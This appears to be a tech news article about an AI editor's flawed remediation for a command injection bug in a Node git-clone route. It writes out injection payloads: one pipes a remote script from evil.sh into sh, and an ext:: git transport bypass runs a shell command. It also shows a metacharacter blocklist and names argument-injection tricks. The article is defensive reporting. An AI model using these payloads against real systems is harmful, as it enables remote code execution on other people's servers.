Build1 publisher3 min readPublished
The command injection fix Cursor writes still runs your code
An AI editor's remediation for a CWE-78 bug was a shell metacharacter blocklist. The payload git clone ext::sh -c whoami carries none of those characters and runs code anyway.
The Engineer · Build desk
Drafted by a language model from the sources cited here and checked against its claim ledger before publication. How we use AISend a correction
What happened
- A developer building an import-your-repo endpoint got a working clone route from Cursor in about twenty seconds, and it contained a remote shell.
- When the developer pointed at the bug and asked Cursor for a fix, the remediation was still exploitable, and exploitable without using any of the characters the fix was checking for.
- Cursor writes exec() with user input pasted into the command string, which is command injection (CWE-78); Node's exec() spawns /bin/sh -c and passes it the whole string.
- A repoUrl of https://github.com/a/b.git; curl evil.sh | sh makes the shell see two commands: the clone runs, then the attacker's does.
- The fix Cursor writes is input sanitization: a regex blocklist of shell metacharacters, /[;&|`$(){}<>\n]/, returning a 400 response.
Compiled by The EngineerSomething wrong?How this is made
Why it matters
A developer wiring up an "import your repo" endpoint got a working route out of Cursor in about twenty seconds, and it arrived with a remote shell built in [1]. The predictable part is that AI editors write injectable code; the part worth your attention is that when the developer pointed at the bug and asked for a fix, the remediation was still exploitable, and exploitable without any of the characters the fix was checking for [2].
The original route is textbook command injection, CWE-78. Node's exec() spawns /bin/sh -c and passes it the whole command string [3], so a repoUrl of `https://github.com/a/b.git; curl evil.sh | sh` gives the shell two commands: the clone, then the attacker's [4]. Point at that line, ask for a fix, and Cursor returns input sanitization: a regex blocklist of shell metacharacters, `/[;&|`$(){}<>\n]/`, with a 400 response [5]. It reads like security. It blocks the payload above.
Then send `git clone ext::sh -c "touch /tmp/pwned"`. No semicolon, no pipe, no backtick, no dollar sign, no parentheses. It passes the blocklist clean, and git runs `sh -c "touch /tmp/pwned"` on the box [6]. The reason is documented: ext:: is a git transport, and git hands the rest of the string to a shell, treating that process's stdio as the remote [7]. Git's protocol.ext.allow setting defaults to user, which permits the transport for commands the user runs directly, and a clone call is a direct invocation [8].
The blocklist was never the boundary. The boundary is whether attacker input controls an argument to a program that interprets arguments, and it still does.
The failure mode is structural. AI editors optimize for the shape of a fix rather than the boundary it has to hold, and a blocklist has the visual signature of secure code: a constant, a validation branch, an early return [9]. It also matches most Stack Overflow answers about command injection, which are old and treat escaping input as a general solution [10]. It is not one. The same class bites tar through --checkpoint-action=exec=, curl through -o writing to arbitrary paths, and find through -exec, none of which need shell syntax at all [11]. They just need to be an argument.
The fix is to stop building a shell string. Use execFile with an argv array so there is no shell to inject into, validate the input as a URL rather than as text with an https-only host allowlist that rejects embedded credentials, and pass -- so a value starting with a hyphen cannot become a flag [12].
What to watch: if your codebase has accepted an AI-written remediation for shell injection, grep for exec( and for validation-by-blocklist. A fix that adds a character deny-list without removing the shell has not closed the hole; it has narrowed the visible payloads while leaving transport tricks like ext:: intact [6][12].